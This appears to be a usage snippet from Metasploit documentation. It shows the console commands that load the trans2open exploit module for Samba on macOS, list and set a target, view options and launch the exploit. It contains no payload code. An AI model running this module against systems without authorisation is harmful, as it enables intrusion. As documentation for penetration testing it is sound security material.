To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':
msf > use exploit/osx/samba/trans2open
msf exploit(trans2open) > show targets
...targets...
msf exploit(trans2open) > set TARGET < target-id >
msf exploit(trans2open) > show options
...show and set options...
msf exploit(trans2open) > exploit
